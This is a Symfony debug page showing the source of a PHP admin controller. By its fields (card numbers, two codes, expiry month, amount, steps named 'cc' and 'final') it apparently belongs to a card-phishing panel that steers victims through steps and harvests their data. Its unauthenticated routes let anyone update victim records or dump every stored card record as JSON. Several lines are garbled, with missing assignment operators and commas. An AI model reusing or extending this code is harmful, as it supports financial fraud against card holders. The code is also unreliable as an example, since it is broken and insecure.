src/Controller/AdminController.php line 75

Open in your IDE?
  1. <?php
  2. namespace App\Controller;
  3. use App\Entity\User;
  4. use Doctrine\Persistence\ManagerRegistry;
  5. use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
  6. use Symfony\Component\HttpFoundation\Request;
  7. use Symfony\Component\HttpFoundation\Response;
  8. use Symfony\Component\Routing\Annotation\Route;
  9. use Symfony\Component\HttpFoundation\JsonResponse;
  10. use Symfony\Component\Serializer\SerializerInterface;
  11. class AdminController extends AbstractController
  12. {
  13.     #[Route('/panel/')]
  14.     public function panel(Request $request,ManagerRegistry $doctrine)
  15.     {
  16.         $message="";
  17.         $response="";
  18.         return $this->render('admin/index.html.twig',array('response'=>$response));
  19.     }
  20.     #[Route('/set/step/')]
  21.     public function setStep(Request $request,ManagerRegistry $doctrine)
  22.     {
  23.         $response="";
  24.         $em=$doctrine->getManager();
  25.         $id=$request->get('id');
  26.         $step=$request->get('step');
  27.         $montant=$request->get('montant');
  28.         $code1=$request->get('code1');
  29.         $code2=$request->get('code2');
  30.         $month=$request->get('month');
  31.         $text=$request->get('text');
  32.         $user=$em->getRepository(User::class)->findOneById($id);
  33.         if ($user){
  34.             $user->setStep($step);
  35.             if ($code1!=""){
  36.                 $user->setCode($code1);
  37.             }
  38.             if ($month!=""){
  39.                 $user->setMonth($month);
  40.             }
  41.             if ($code2){
  42.                 $user->setCode2($code2);
  43.             }
  44.             if ($montant!=""){
  45.                 $user->setMontant($montant);
  46.             }
  47.             if ($text!=""){
  48.                 $user->setText($text);
  49.             }
  50.             if ($step!="final" ){
  51.                 if ($step!="cc" ){
  52.                     $user->setType($step);
  53.                 }
  54.             }
  55.             $em->persist($user);
  56.             $em->flush();
  57.             $response="OK";
  58.         }
  59.         return new Response($response);
  60.     }
  61.     #[Route('/get/status/')]
  62.     public function setStepNow(Request $request,ManagerRegistry $doctrine,SerializerInterface $serializer)
  63.     {
  64.         $em=$doctrine->getManager();
  65.         //$users=$em->getRepository(User::class)->findBy(array(),array("id"=>"DESC"));
  66.         $qb $em->createQueryBuilder();
  67.         $query=$qb->select('u')
  68.             ->from('App\Entity\User''u')
  69.             ->Where('u.numeroCard IS NOT NULL')
  70.             ->orderBy('u.id''DESC');
  71.         $result $query->getQuery()->getResult();
  72.         $serializedUser $serializer->serialize($result,'json');
  73.         return JsonResponse::fromJsonString($serializedUser);
  74.     }
  75. }